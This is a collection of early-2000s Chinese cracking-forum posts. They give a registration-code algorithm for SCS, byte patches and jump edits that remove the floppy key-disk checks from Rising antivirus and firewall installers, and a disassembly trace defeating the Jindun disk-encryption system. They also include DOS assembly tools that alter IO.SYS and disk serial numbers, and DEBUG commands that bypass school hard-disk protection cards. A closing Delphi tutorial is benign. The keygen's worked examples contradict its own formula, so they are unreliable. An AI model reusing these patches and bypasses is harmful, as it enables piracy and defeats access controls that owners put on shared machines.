2.即使要改变函数第一条指令，一定要进入ring0吗？
3.即使要进入ring0，使用中断门不是比用调用门更方便吗？
当然，按照王荣先生在他的主页上的说法，“变速齿轮”0.1版是他在三年前即1997年写的，那时Windows95刚刚出来两年，能有这样的技术已经难能可贵了，这里对王荣先生的钻研精神表示由衷的敬佩。
在我研究出“变速齿轮”的原理后三天，我以自己原先的研究结果为核心，编写出了“兄弟变速器”的最初版本，不用“变速齿轮”的技术是因为我认为我的技术更优越，何况也没有拾人牙慧之嫌了 ^_^
最后再次对王荣先生表示感谢，这样精彩的创意值得我们敬佩。


SCS40K

 标 题:他的解密方法其实很简单，主要是制作钥匙盘和注册算法！（见内） (1千字)
发信人:rjtt
时 间:2001-10-17 14:40:36
详细信息:
钥匙盘制作主要问题是有几个磁道的逻辑弱位的制作
可以到http://jd9901.51.net/MYWORK/scsrjtt.zip
用SCS（J）写入磁盘，然后写入79、80两个磁道的逻辑弱位
钥匙盘就算搞定了

对于SCS（K++）注册算法如下：
假定从计算机得到的码的位数是10位（简称A码）
1 2 3 4 5 6 7 8 9 10
则安装码（简称B码）的计算方法如下：
安装码的第一位是
A码的第1位的ASCII码（十进制）加第2位的ASCII码（十进制）加第9位的ASCII码（十进制）的和除以10的余数。
安装码的第二位是
A码的第2位的ASCII码（十进制）加第4位的ASCII码（十进制）加第8位的ASCII码（十进制）的和除以10的余数。
安装码的第三位是
A码的第3位的ASCII码（十进制）加第6位的ASCII码（十进制）加第7位的ASCII码（十进制）的和除以10的余数。
安装码的第四位是
A码的第4位的ASCII码（十进制）加第6位的ASCII码（十进制）加第8位的ASCII码（十进制）的和除以10的余数。
例一：48484848
安装码计算是：
第一位计算 （52＋56）／10＝10.8 则第一位是8
第二位计算 （56＋56＋56）／10＝16.8 则第二位是8
第三位计算 （52＋56＋52）／10＝16.0 则第三位是0
第四位计算 （56＋56＋56）／10＝16.8 则第四位是8
安装码是：8808
例二：228238252202
安装码诸是：
第一位计算 （50＋50＋50）／10＝15.0 则第一位是0
第二位计算 （50＋50＋53）／10＝15.3 则第二位是3
第三位计算 （56＋56＋50）／10＝15.2 则第三位是2
第四位计算 （50＋56＋53）／10＝15.9 则第四位是9
安装码是：0329
（注册算法原作者:大猫）


瑞星2002

 标 题:瑞星2002版本安装需软盘限制的去除。 (1千字)
发信人:CrackerABC[BCG]
时 间:2001-9-29 8:57:57
详细信息:
首先把下载的rav.exe执行，等到出现要软盘的界面，不要关闭哦。
然后去windows/temp/ravtemp中拷贝所有文件到自己建立的一个目录中，这些就是真正的安装文件，修改其中的setup.exe，这次的安装限制已经不是修改xetup.dll了。
下面是修改的代码：
:下面是破解读取软盘的破解点：
:0040CAB1 E80EE30100 call 0042ADC4
:0040CAB6 8B7804 mov edi, dword ptr [eax+04]
:0040CAB9 8B461C mov eax, dword ptr [esi+1C]
:0040CABC 50 push eax
:0040CABD 8BCF mov ecx, edi
:0040CABF E83CEAFFFF call 0040B500
:0040CAC4 33DB xor ebx, ebx
:0040CAC6 83CDFF or ebp, FFFFFFFF
:0040CAC9 85C0 test eax, eax
:0040CACB 757D jne 0040CB4A //------->跳转即可。

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040CB48(C)
|
:0040CACD A1F8B44300 mov eax, dword ptr [0043B4F8]
:0040CAD2 89442414 mov dword ptr [esp+14], eax
:0040CAD6 899C2450080000 mov dword ptr [esp+00000850], ebx
:0040CADD 89442410 mov dword ptr [esp+10], eax

* Possible Reference to String Resource ID=00122: "Please insert Rising floppy disk A,if the tips show again, " //----------------->判断软件是否存在的地方。
|
:0040CAE1 6A7A push 0000007A
:0040CAE3 8D4C2418 lea ecx, dword ptr [esp+18]
:0040CAE7 C684245408000001 mov byte ptr [esp+00000854], 01
:0040CAEF E879AD0100 call 0042786D

* Possible Reference to String Resource ID=00008: "Setup tips"

当然了，可以动态跟踪使用r fl z来跳过检测软盘的限制，执行到准备要软盘的前一个界面后，下断点：bpx checkkey,然后被拦截，F10几步，等到读一次软盘后（有一个call是读取软驱的），他后面的jnz就可以修改跳了。

呵呵，顺便问新来的小妹妹好！


瑞星个人防火墙1.1

 标 题:瑞星个人防火墙1.1版破解手记 (3千字)
发信人:8989
时 间:2001-11-25 16:54:59
详细信息:
瑞星个人防火墙1.1版破解手记

原版从瑞星网站下载，需要ID号
目前为1.1版，安装时需瑞星密钥盘。
文件名称rfw.exe
破解工具:w32dasm黄金版
1。用winzip或winrar等解压缩软件将rfw.exe展到一个目录下
2。研究目录下的setup.exe
3。用w32dasm黄金版打开setup.exe ==》串式参考"Please insert the Rising 'A' floppy. Please contact

String Resource ID=00109: "For ensuring the installation to succeed, please close the L"
String Resource ID=00111: "Unable to find Notes.ini file!"
String Resource ID=00112: "Setup program will create shortcut model on your desktop, wh"
String Resource ID=00113: "You are not "Administrator", install maybe fail.
you'd bet"
String Resource ID=00116: "You have installed Rising Personal Firewall[version:%s], now"
String Resource ID=00117: "You are installing version lower than[%s] the one you used ["
String Resource ID=00119: "
\setup path:
%s
program group name:
%s

Disk free sp"
String Resource ID=00120: "For ensuring the installation to succeed, please close Lotus"
String Resource ID=00121: "Would you like install Rising Anti-virus software?"
String Resource ID=00122: "Please insert the Rising 'A' floppy. Please contact dealer i" ************
String Resource ID=00123: "After long years technology tracking on network attacking me"
String Resource ID=61440: "S"
String Resource ID=61446: ""
String Resource ID=61472: "?0?醥"
String Resource ID=61473: "政gL
/勍\"
String Resource ID=61474: "?
String Resource ID=61475: "匵
?"

只有一处

:0040C6AC 50 push eax
:0040C6AD 8BCF mov ecx, edi
:0040C6AF E81CEDFFFF call 0040B3D0
:0040C6B4 33DB xor ebx, ebx
:0040C6B6 83CDFF or ebp, FFFFFFFF
:0040C6B9 85C0 test eax, eax
:0040C6BB EB7D jmp 0040C73A 这是修改后的,74还是75=>EB,跳过检测钥匙盘*********

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040C738(C)
|
:0040C6BD A1C0C24300 mov eax, dword ptr [0043C2C0]
:0040C6C2 89442410 mov dword ptr [esp+10], eax
:0040C6C6 899C24F0060000 mov dword ptr [esp+000006F0], ebx
:0040C6CD 89442414 mov dword ptr [esp+14], eax

* Possible Reference to String Resource ID=00122: "Please insert the Rising 'A' floppy. Please contact dealer i"
|
:0040C6D1 6A7A push 0000007A
:0040C6D3 8D4C2414 lea ecx, dword ptr [esp+14]
:0040C6D7 C68424F406000001 mov byte ptr [esp+000006F4], 01
:0040C6DF E8F4B00100 call 004277D8

* Possible Reference to String Resource ID=00008: "Setup tips"
|
:0040C6E4 6A08 push 00000008
:0040C6E6 8D4C2418 lea ecx, dword ptr [esp+18]
:0040C6EA E8E9B00100 call 004277D8
:0040C6EF 8B4C2414 mov ecx, dword ptr [esp+14]
:0040C6F3 8B542410 mov edx, dword ptr [esp+10]

4。运行目录下的安装主程序setup.exe，哇塞，原来很温柔，小家伙蛮可爱的
5。也可修改目录下的setup.dll进行破解，具体参看论坛精华中我的文章

作者 风飘雪
主页 http://fpx.yeah.net
2001.11.25


金盾磁盘加密系统 V4.0

 标 题:破解<<破解坚盾磁盘加密系统 V4.0>>的全过程 (10千字)
发信人:asmboy[BCG]
时 间:2001-10-23 9:06:35
详细信息:
破解<<破解金盾磁盘加密系统 V4.0>>的全过程
--------------------------------------------------------------------------------

前两天从朋友那里得到一个磁盘加密软件，听朋友说是很好用哦，还说可以加密WINDOWS98下的
程序的，不知道怎么样，反正没有事做，拿来练练手吧。该软件是通过软盘安装的，每次安装要检查
软盘上的钥匙，唉，可惜朋友也没有钥匙盘，只有T了哦。开始写教程了哦。。。

破解：AsmBoy[BCG]
Mail:asmboy@263.net
QQ:384772
该软件下载地址http://www.safesrx.com/crack/disk/shield.zip

难度级别:中级:)

类别：软磁盘类的加解密

所需工具:

TR 2.52
BWT 2.5
汇编知识 (至少是基础)
大脑一个 (你有一个吧 , 我是有的! :p )

软件历史(以下是这软件的README文件,看这说明感觉不错哦，不知是真是假
听说有中科院的技术哦,只有大家试了才知道,不要打我,开始转入正题)

软件加密是一个非常专业的领域，不仅需要掌握丰富的计算机硬件知识，
而且需要对各种操作系统进行深入的剖析和钻研。从八年前研制出 DOS下的
第一块加密卡起，每一次操作系统的升级，对我们既是挑战又是机遇，眼见
不少加密领域的同行跟不上Windows 的升级步伐而被淘汰，而我们由于背靠
中科院的强大技术实力，从DOS 到 Windows3.1 到 Windows98，不断开发出
相应的产品，使我们的用户成倍壮大。考虑到一些用户怕我们成为解密者的
众矢之的少许顾虑，我们很少在公共媒体上作广告，而我们所以赢得众多用
户的信赖（许多已合作四，五年），靠的就是我们的技术实力和完善的服务。

----------------------------------------------------------------

本磁盘加密系统的使用步骤：
步骤 1：
将系统盘插入 A:驱（打开写保护），运行 SETUP (回车) ，在 C:盘中
将生成一个子目录 SHIELD 和若干文件。

步骤 2：
运行 SHIELD.EXE (回车)，第一次运行该文件将完成判断密钥盘的工
作。如果出现提示“Shield.exe Install to HD...OK!”说明密钥盘
判断正确，此时务必将加密系统盘取出收起保存，以免下面的操作将
系统盘密钥破坏；如果未出现上面提示，仔细检查软盘是否插好，然
后重试步骤 2 。

步骤 3：
将格式化过的软盘(打开写保护)插入软驱，运行 SHIELD.EXE(回车)，
按提示设置相应参数，（建议装机台数设为２或３；装机次数和运行
次数设为零，即不限装机次数和运行次数），将按相应参数生成一个
密钥盘。然后输入需加密的可执行文件名，例如 EXAMP.EXE，准备好
后回车。在当前目录的加密子目录中将生成加密过的文件 EXAMP.EXE
和 EXAMP.INS 。

步骤 4：
到此加密工作完成，您可将当前的密钥盘和相应的加密文件EXAMP.EXE
和 EXAMP.INS 以及原有的其它文件一起提供给您的用户。您的用户在
使用您的软件前，必须先插上密钥盘，第一次运行 EXAMP.EXE，完成
判读密钥盘并将密钥安装到机器的过程。此后密钥盘可收起，只要是
在该台机器，再运行 EXAMP.EXE 时效果就和加密前完全一样。

另外，您的用户第一次运行 EXAMP.EXE完成判读密钥盘的过程，
也可直接由您做在您的 SETUP 中。为了避免在 SETUP 中造成停顿，
运行 EXAMP.EXE 时可带上参数：
EXAMP.EXE －H (回车) 或 EXAMP.EXE －ｈ (回车) 可隐去任
何提示，避免停顿。

------------------------------------------------

下面是一些注意事项：

注意１. 密钥盘由于我们采用了先进的磁盘指纹技术，因此是唯一的
不可复制的。

注意２. 在步骤３中我们只对 EXAMP.EXE 进行了加密，而事实上在一
个密钥盘上可对无数个可执行文件加密，只要保证和密钥盘
对应就行。

注意３. 在步骤４中如果您的软件是以光盘形式提供给用户的，那么
可将 EXAMP.INS 做在光盘里，因为该文件是通用的，而
EXAMP.EXE 是不通用的，每次随密钥盘的生成而不同，必须
放在密钥盘上。在第一次运行 EXAMP.EXE 判读密钥时须保
证 EXAMP.EXE 和 EXAMP.INS 在同一子目录中。

注意４. 在步骤３中如果要生成大量的密钥盘，可用批处理方式：
先运行：
SHIELD.EXE -E (回车)
设置好加密参数和需加密的可执行文件名，按 F2 键存盘，
以后每次只需运行：

SHIELD.EXE -A (回车)
便能快速生成一个密钥盘和生成加密文件。

破解步骤：
该软件是加壳了的哦，无法用TR载入，只有先用D.Boy兄BWT把壳了才能T的哦
先脱壳吧,用BWT脱壳吧(不要告诉我，你不会哦,晕)
以下是用BWT脱壳后的程序，用TR 载入

下断点bpint 13,用G执行程序，被断下

MOV AH,08 ;2E99:0274 B408
MOV DL,00 ;2E99:0276 B200
INT 13 ;2E99:0278 CD13
CMP BL,[CS:06B8] ;2E99:027A 2E3A1EB806 判断是否有无1.44M软盘驱动器
JNE 028B ;2E99:027F 750A
MOV [BYTE CS:06BA],00 ;2E99:0281 2EC606BA0600
NOP ;2E99:0287 90
JMP 0292 ;2E99:0288 EB08
NOP ;2E99:028A 90
MOV [BYTE CS:06BA],01 ;2E99:028B 2EC606BA0601
NOP ;2E99:0291 90
PUSH CS ;2E99:0292 0E
POP DS ;2E99:0293 1F
PUSH CS ;2E99:0294 0E
POP ES ;2E99:0295 07

MOV [WORD CS:033C],0000 ;2E99:0296 2EC7063C030000
MOV AX,0000 ;2E99:029D B80000
INT 13 ;2E99:02A0 CD13 磁头复位
MOV AX,0201 ;2E99:02A2 B80102 读磁盘功能
MOV CH,[CS:06BB] ;2E99:02A5 2E8A2EBB06 读80磁道
MOV CL,[CS:033B] ;2E99:02AA 2E8A0E3B03 读2FH扇区，即47扇区
MOV DH,01 ;2E99:02AF B601 读第2面
MOV DL,[CS:06BA] ;2E99:02B1 2E8A16BA06 驱动器A
LEA BX,[06C3] ;2E99:02B6 8D1EC306 读到cs:06c3
INT 13 ;2E99:02BA CD13 开始读加密区
INC [BYTE CS:033B] ;2E99:02BC 2EFE063B03 将扇区数加1
ADD [WORD CS:033C],02 ;2E99:02C1 2E83063C0302

MOV AX,0000 ;2E99:02C7 B80000
INT 13 ;2E99:02CA CD13 再次磁头复位
MOV AX,0201 ;2E99:02CC B80102 读磁盘功能
MOV CH,[CS:06BB] ;2E99:02CF 2E8A2EBB06 读80磁道
MOV CL,[CS:033B] ;2E99:02D4 2E8A0E3B03 读30H扇区，即48扇区
MOV DH,01 ;2E99:02D9 B601 读第2面
MOV DL,[CS:06BA] ;2E99:02DB 2E8A16BA06 驱动器A
LEA BX,[06C3] ;2E99:02E0 8D1EC306 读到cs:06c3
INT 13 ;2E99:02E4 CD13 开始读加密区
JAE 032D ;2E99:02E6 7345 读成功了则跳到032d
INC [BYTE CS:033B] ;2E99:02E8 2EFE063B03 未成功，将扇区数加1
ADD [WORD CS:033C],02 ;2E99:02ED 2E83063C0302

MOV CX,[CS:033C] ;2E99:02F3 2E8B0E3C03
PUSH CX ;2E99:02F8 51 将CX进站
MOV AX,0000 ;2E99:02F9 B80000
INT 13 ;2E99:02FC CD13 再次磁头复位
MOV AX,0201 ;2E99:02FE B80102 读磁盘功能
MOV CH,[CS:06BB] ;2E99:0301 2E8A2EBB06 读80磁道
MOV CL,[CS:033B] ;2E99:0306 2E8A0E3B03 读31H扇区，即49扇区
MOV DH,01 ;2E99:030B B601 读第2面
MOV DL,[CS:06BA] ;2E99:030D 2E8A16BA06 驱动器A
LEA BX,[06C3] ;2E99:0312 8D1EC306 读到cs:06c3
INT 13 ;2E99:0316 CD13 开始读加密区
POP CX ;2E99:0318 59 返回CX值
JAE 032D ;2E99:0319 7312 读成功了则跳到032d
LOOP 02F8 ;2E99:031B E2DB 不成功，刚返回02F8再读，循环3次
INC [BYTE CS:033B] ;2E99:031D 2EFE063B03 3次如果都没有成功，将扇区数加1
CMP [BYTE CS:033B],32 ;2E99:0322 2E803E3B0332 比罗扇区数是否为50
JNE 02F3 ;2E99:0328 75C9 不是，则从新再读过
JMP 0356 ;2E99:032A EB2A 注意：如果是，就退出程序
NOP ;2E99:032C 90

以下开始比较加密数据：

PUSH CS ;2E99:032D 0E
POP DS ;2E99:032E 1F
LEA SI,[06C3] ;2E99:032F 8D36C306
CMP [WORD SI],3539 ;2E99:0333 813C3935 比较读出来的数据的前两个字节
JE 033E ;2E99:0337 7405 是否为95，如果是开始进一步比较数据
JMP 031D ;2E99:0339 EBE2 不是，刚退出程序
DAS ;2E99:033B 2F
ADD [BX+SI],AL ;2E99:033C 0000

PUSH CS ;2E99:033E 0E 以下为开始进一步比较数据
POP DS ;2E99:033F 1F
LEA SI,[06C3] ;2E99:0340 8D36C306
LODSW ;2E99:0344 AD
CALL 2528 ;2E99:0345 E8E021 将读出来的数据进行算法处理
MOV AX,[CS:06C1] ;2E99:0348 2EA1C106
CMP AX,[CS:06CA] ;2E99:034C 2E3B06CA06 比较算法处理后[cs:06ca]的数据是否为0E1H
JNE 0356 ;2E99:0351 7503 不是刚退出程序
JMP 0360 ;2E99:0353 EB0B 正确，进一步比较数据
NOP ;2E99:0355 90
CALL 258B ;2E99:0356 E83222
LEA DX,[0B09] ;2E99:0359 8D16090B
JMP 05C4 ;2E99:035D E96402
PUSH CS ;2E99:0360 0E
POP DS ;2E99:0361 1F
CMP [WORD CS:06CC],00 ;2E99:0362 2E833ECC0600 再次比较[cs:06cc]是否为0
JNE 0388 ;2E99:0368 751E 不是，刚退出程序
CMP [WORD CS:06D0],00 ;2E99:036A 2E833ED00600 是，进一步比较数据
JNE 0375 ;2E99:0370 7503 比较[cs:06d0]是否为0,不是，就死定了
JMP 0444 ;2E99:0372 E9CF00 正确，全部通过，开始安装

哇，总算写完了啊，为时1小时2分,现在都快零晨2点了后，应该写得比较详细吧，如果有什么不懂可以问我
帮助别人是我最大的快乐，所谓助人为快乐之本！：）哦，有点睡意了，明天见吧.错了，今天见,呵。。。
我明天会写出制作KEY的程序来的，要的话，现在感快报名哦。

Crack by AsmBoy[BCG] Mail:asmboy@263.net QQ:384772


瑞星个人防火墙及瑞星2002

 标 题:瑞星个人防火墙及瑞星2002杀毒通用破解 (1千字)
发信人:8989
时 间:2001-9-29 19:36:23
详细信息:
瑞星个人防火墙及2002杀毒通用破解

2002仍然没有改掉2001的老毛病，在setup.dll上捣鬼
1.瑞星个人防火墙
http://211.101.232.6/pcver/UpdatePad_wnxio01sdghgyrising/rfw.exe
rfw.exe用winrar等解压缩软件解开,研究setup.dll
脱setup.dll的upx壳 upx -d setup.dll
w32dasm反汇编setup.dll，选“函数“=〉“输出“，双击第一项checkkey
修改eax=1就不用密钥盘了，下面是改后的

Exported fn(): CheckKey - Ord:0001h
:100025F0 B801000000 mov eax, 00000001 ***
:100025F5 C20800 ret 0008 *****

:100025F8 108B44240883 adc byte ptr [ebx+83082444], cl
:100025FE F8 clc
:100025FF 06 push es
:10002600 0F87AD000000 ja 100026B3
:10002606 FF2485B8260010 jmp dword ptr [4*eax+100026B8]
:1000260D E83EF2FFFF call 10001850
:10002612 C20800 ret 0008

2。2002杀毒破解与上面相同，只是保护更弱，没加壳
http://211.101.232.6/pcver/UpdatePad_wnxio01sdghgyrising/rav.exe

作者：风飘雪
http://fpx.yeah.net
2001。9。29


逻辑锁

 标 题:有台机器被逻辑锁锁住了。修改IO.SYS就可以。编了一个小程序实现使之更简单。 (2千字)
发信人:WenXinJY
时 间:2001-12-7 17:46:16
详细信息:
小牧童的方法（借用王江民的方法）：用UEDIT打开C:\IO.SYS，查找 b9 01 00 cd 13 (msdos6.22只有一处，98有 2 处 ),改为 b9 10 00 cd 13.

自己的分析（可能不正确）：
sub bx,bx
mov ax,201h
xor dh,dh
mov cx,1 ;原为读取第1个扇区,改为读第10H个扇区,这样就不会出现死循环了.
int 13h
push es
pop ds
jb TryAgain
cmp word ptr [bx][1fe],0aa55h ;Magict Code
.
.
.
通常硬盘分区表被锁住以后，形成一个闭合的循环链，IO.SYS从链头读起，试图读取所有分区的信息，从而形成死循环。如果修改IO.SYS文件，这样读的第十个扇区结尾处不是0aa55h，就认为不是一个逻辑分区的主引导记录，停止读盘，跳出死循环链。不过据我测试，这样即使硬盘分区表是完好的，启动后也不认硬盘。所以修改IO.SYS以后，如果要正常访问硬盘还要将IO.SYS恢复原状。
以下是源程序。

;==================================================================
; 如果你的硬盘被老王的逻辑锁给锁住了，把这个小工具复制到你的引导盘上，
; 运行它Modify一下，然后用它来引导被锁的机器。一切OK。谢谢小牧童的提示。
; 注意修复硬盘后Restore回来。当然你运行它时，软驱要打开写保护啦：）
;==================================================================
.286
.model tiny
.code
org 100h
start:
jmp Entry
FileName db "io.sys",0
Prompt db 10,9,"I can MODIFY/RESTORE IO.SYS when it is locked by THE LOGIC LOCK.",13,10
db 9,9,9,"--- By WenXinJY ---",13,10
db "Restore|Modify|Cancel(R/M/C)?$"
Error db "M/R Error!$"
OK db "M/R OK!$"
ModiData db 1

Entry:
mov ah,9
lea dx,Prompt
int 21h
mov ah,0
int 16h
cmp ah,13h ;R/r
jnz Next1
mov dl,1
jmp ModiIt
Next1:
cmp ah,32h ;M/m ;C/c:2Eh
jnz Exit
mov dl,10h

ModiIt:
mov ModiData,dl

mov ax,4301h
mov dx,offset FileName
xor cx,cx
int 21h
jc Err
mov ax,3d02h
lea dx,FileName
int 21h
mov bx,ax
jc Err
mov ax,4200h
xor cx,cx
mov dx,1858h
int 21h
jc Err
mov ax,4000h
mov cx,1
mov dx,offset ModiData
int 21h
jc Err
mov ax,4200h
xor cx,cx
mov dx,18c3h
int 21h
jc Err
mov ax,4000h
mov cx,1
mov dx,offset ModiData
int 21h
jc Err
mov ah,3eh
int 21h
lea dx,OK
jmp DispMsg
Err:
lea dx,Error
DispMsg:
mov ah,9
int 21h
Exit:
mov ah,4ch
int 21h
end start


分区序列号

 标 题:我写的一个小程序，改变分区序列号。编译成COM文件执行。 (2千字)
发信人:WenXinJY
时 间:2002-2-18 22:23:14
详细信息:
CSEG SEGMENT
ASSUME CS:CSEG,DS:CSEG,ES:CSEG
ORG 100H

START:
mov ah,9
mov dx,offset MsgInputDisk
int 21h
mov ah,1
int 21h
or al,20h
cmp al,'a'
jb ErrorInput
cmp al,'z'
ja ErrorInput
jmp GetDiskOrder

GetDiskOrder:
sub al,'a'
inc al
mov bl,al
mov bh,0
push bx ;Push Disk Number
mov dx,offset DiskInfo
mov ax,6900h
int 21h
jnc GetDiskInfoOK
jmp AccessError

ErrorInput:
mov dx,offset MsgErrorInput
jmp Exit

GetDiskInfoOK:
mov bx,4
mov cl,4
mov si,offset LongDiskSN-1
mov di,offset lpSerialNum
NextByte:
mov al,[si+bx]
mov ah,al
shr al,cl
Bin2Asc:
and al,0fh
add al,'0'
cmp al,'9'
jna StoreAsc
add al,7
StoreAsc:
stosb
mov al,ah
add bh,80h
jnz Bin2Asc
dec bl
jnz NextByte

mov ah,9
mov dx,offset MsgDiskSN
int 21h

mov ah,9
mov dx,offset MsgInputDisk
int 21h
mov ah,0ah
mov dx,offset InputBuffer
int 21h
cmp byte ptr InputBuffer[1],8
jne ErrorInput

mov si,offset InputedDiskSN
mov cx,8
mov di,offset LongDiskSN+3
mov ah,0
Asc2Bin:
lodsb
cmp al,'0'
jb ErrorInput
cmp al,'9'
ja A2F
sub al,'0'
jmp StoreBin1
A2F:
or al,20h
cmp al,'a'
jb ErrorInput
cmp al,'f'
ja ErrorInput
sub al,'0'+7
StoreBin1:
add ah,80h
je StoreBin2
mov bl,al
shl bl,1
shl bl,1
shl bl,1
shl bl,1
loop Asc2Bin
StoreBin2:
or al,bl
stosb
dec di
dec di
loop Asc2Bin

pop bx
mov ax,6901h
mov dx,offset DiskInfo
int 21h
jnc OK
AccessError:
mov dx,offset MsgAccessError
jmp Exit
OK:
mov dx,offset MsgOK

Exit:
mov ah,9
int 21h
MOV Ah,4CH
INT 21H

MsgInputDisk db 0dh,0ah,"Please input your driver letter:$"
MsgInputSN db 0dh,0ah,"Please input your new Disk Serial Number(as XXXXXXXX):"
MsgAccessError db 0dh,0ah,"Get(Or Set) Disk SN Error!$"
MsgErrorInput db 0dh,0ah,"Input Error, please input a char within 'a' and 'z'! and must be 8 bytes HEX chars!$"
MsgOK db 0dh,0ah,"Your Disk SN Successfully changed!$"
MsgDiskSN db 0dh,0ah,"Your OLD disk serial number is:"
lpSerialNum db 8 dup (0),0dh,0ah,24h
InputBuffer db 80,8
InputedDiskSN label byte
org offset InputBuffer+90h
DiskInfo label byte
org offset DiskInfo+2
LongDiskSN label byte
CSEG ends
END START


硬盘保护卡的破解

 标 题:硬盘保护卡的破解 (转)~~~~ (2千字)
发信人:绝望生鱼片
时 间:2001-11-23 14:39:34
详细信息:
发信人：Xing_Xing (星星) 版面名称：Hacker(8604)
标　题：硬盘保护卡的破解 (转)
发信站：中国科大BBS站 (Sun, 28 Oct 2001 15:13:24 )
标　记：普通
硬盘保护卡的破解
原勋
本来以前就要写这一篇，的，有事耽误了，现在写出来滥竽充数吧！
还原卡也称硬盘保护卡，学校等单位采用较多，可以保护硬盘数据不被恶意修改，删除
。保护卡是一种硬件芯片，插在主板上与硬盘的MBR协同工作。在说明原理前，我想先提
一种技术“BIOS映射地址搬移”。这种技术在前几年，大行其道，但均秘而不喧。诸位
以前玩解密的时候可能都用过龚成宾的SIMU97吧。它能在只读的BIOS地址区实现写入，
因而能拦截到CALL F000:EC59等调用。这种调用在以软盘为载体的加密方案中，有重要
意义[后来为了躲过它，王江民没办法使用了UPD765。不过，据我分析UPD765 照样可以
拦截]。刚才提的那种拦截方式的原理是这样的[跟踪所得]：通过调用Int15h子功能[其
他也可以，只要能切入保护模式]，切入保护模式，改掉BIOS所在段的段描述符。这种方
法可以实现BIOS段的重定位，当然就可以让它可写入了。用Int13H读软盘时Int13H会调
用F000:EC59,这是拦截Int13h 的一种高级手段。其实围绕硬盘保护的加密解密关键就看
谁拦截的位置更底层。但对与硬盘保护卡来说，只要恢复Int13的BIOS级中断向量就够了
。具体如何破解呢？找到Int13h的BIOS解中断向量值，填入中断向量表。[有些部份如果
觉得简单请跳过看 ^_^]
下面是找Int13入口的方法，我常用的几种：
1。手工运行Debug,如下：
   Debug
-　a100
-　xor ax,ax
-　int 13
-　int3
然后输入t回车，不断的重复，直到显示的地址形如 F000:xxxx。 记下这一地址,按q 回
车退出。
在(0:13H*4)=0:4cH 处填入这个地址。
例如得到的地址是F000:1234
运行debug
-e 0:4c 34 12 00 F0
-q
注意：
填的时候要仔细，填错的话会死机。有些经过针对性处理的机器，要进一步鉴别。如在
Int13内部调　　　　用Int1ch. 如果在trace过程中发现如下代码 CMP DL,80，修改成
CMP DL,FF 别的都不要修改.试试　　　　硬盘可写吗？如果可以的话万事大吉。另外，
不能在Windows的虚拟DOS窗口中使用这种方法。如果在Windows的虚拟DOS窗口运行的话
，请使用下一种方法。
2。Debug
- s F000:0 ffff 80 fa 80
你可能会发现有好几处。试验一下: 如果U F000:xxxx地址后发现代码类似
       -u F000:xxxx
PUSHF
CMP DL,80
JZ ....
  .
  .
          .
的话，填入向量表试试。通常破解就完成了。
我曾经发现经过以上中断还原后，仍不能写盘的情况。经跟踪发现Int8H,Int 1CH,Int1
5H等向量对
Int13H进行了向量保护。解决办法：把Int8H,Int1cH,Int15H 也改会原始中断点（也是
BIOS中断）。尝试写盘：
copy c:\command.com test.com <Enter>
1 file Copied.
如果想获得保护卡密码的话，可以参考以下步骤：
1。找到Int13h原始点设回中断向量表。
2。读出MBR
可以分析这份MBR，找到存放加密密码的扇区得出解密算法。。。

--
※ 来源: 中国科大BBS站 [bbs.ustc.edu.cn]


Delphi写小执行程序

标 题:Delphi写小执行程序
发信人:datm
时 间:2002/03/07 01:44am
详细信息:

象C语言一样，用Delphi也能写出只有几十K、十几K、甚至只有几K的小程序，本文将 以一个能将Win95桌面藏起来的仅有38K的小程序为例教会读者这一技巧，同时本文还
      将涉及Win95 TrayIcon的显示。

本程序能写得很小的诀窍是：根本没有用任何的 FORM 。也就是说，源程序只有一个 Desktop.dpr 文件，程序完全用标准的 WINAPI
      写成，由于用到的资源很少，所以程序的体积也很小。当然，用这样的方法编程时不能使用 Delphi的所见即所得的编程方式。}

{首先看看程序头的写法：}
program DeskPop;
uses Windows, Messages, ShellAPI, sysutils;
{$R *.RES}

{可以看出本程序比普通的 Delphi 程序用到的 Unit 少的多。 下面声明了全局常量和变量，暂时可以不管他们。}
const
AppName = 'DeskTop Hide';
var
x: integer;
tid: TNotifyIconData;
WndClass: array[0..50] of char;

{现在进入程序的主要部分，首先是定义了一批过程，为了能让读者更好地理解，我们先把这些过程跳过去，先说主程序。主程序位于程序的最后，这样做的好处是可以直接使用程序中定义的过程。主程序十分简单：}
begin
WinMain;
end.
{看来所有的工作都由 WinMain 完成了。这个 WinMain 使用标准的 WinAPI 函数进行编程，主要步骤是：先声明一个窗口类，然后创建一个主窗口，最后进入消息循环，直到程序结束。}

procedure WinMain;
var
Wnd: hWnd; {声明窗口句柄(Handle)变量}
Msg: TMsg; {声明消息变量}
cls: TWndClass; {窗口类变量}
begin
{ Previous instance running ? If so, exit }
{ 检查是否程序已经运行，如果已经运行则调用Panic过程退出 }
if FindWindow (AppName, Nil) <> 0 then
Panic (AppName + ' is already running.');

{ Register the window class }
{ 这里的注册窗口类程序是例行公事，照抄即可}
FillChar (cls, sizeof (cls), 0); {用这一句将窗口类变量cls清零)
cls.lpfnWndProc := @DummyWindowProc; {取回调函数DummyWindowProc的地址}
cls.hInstance := hInstance; {实例句柄}
cls.lpszClassName := AppName; {窗口类名}
RegisterClass (cls); {注册窗口类cls}

{ 现在可以创建程序的主窗口了-在本程序中是个虚拟窗口}
{ Now create the dummy window }
Wnd := CreateWindow (AppName, AppName, ws_OverlappedWindow,
cw_UseDefault, cw_UseDefault, cw_UseDefault, cw_UseDefault,
0, 0, hInstance, Nil);
x:= 0; {变量X其实是个开关变量，记录现在是否已经隐藏了桌面}

{ 如果窗口创建成功，则显示窗口，并进入消息循环 }
if Wnd <> 0 then
begin
ShowWindow (Wnd, sw_Hide);{本例中窗口是隐藏的}
{ 下面进入消息循环，该循环将不断运行直到 GetMessage返回0 }
while GetMessage (Msg, 0, 0, 0) do
begin
TranslateMessage (Msg);
DispatchMessage (Msg);
end;
end;
end;

{现在看来，程序的主框架很明了，但是它还不能完成任何任务。过程 Panic将显示一个对话框后退出程序，它在 Winmain 过程的开始部分被调用，其实
    Panic的功能很简单，之所以要写成一个函数的原因恐怕一方面是结构化编程的需要，另一方面借此避开了 String 和 PChar 的转换。}
procedure Panic (szMessage: PChar);
begin
if szMessage <> Nil then
MessageBox (0, szMessage, AppName, mb_ok);
Halt (0);
end;

{下面是回调(Callback)函数 DummyWindowProc，如果说 Winmain 过程是本程序-或者说是本应用或实例的生命，那么这个回调函数可以说是主窗口的灵魂。每一个标准的或者说是规范的Windows窗口都有一个回调函数，以处理发给该窗口的消息。所谓“回调”的意思是这个函数不是由程序直接调用的，而是由
    Windows 系统调用(还记得我们在窗口类中给lpfnWndProc赋过值吗)， 这就是事件驱动编程。}
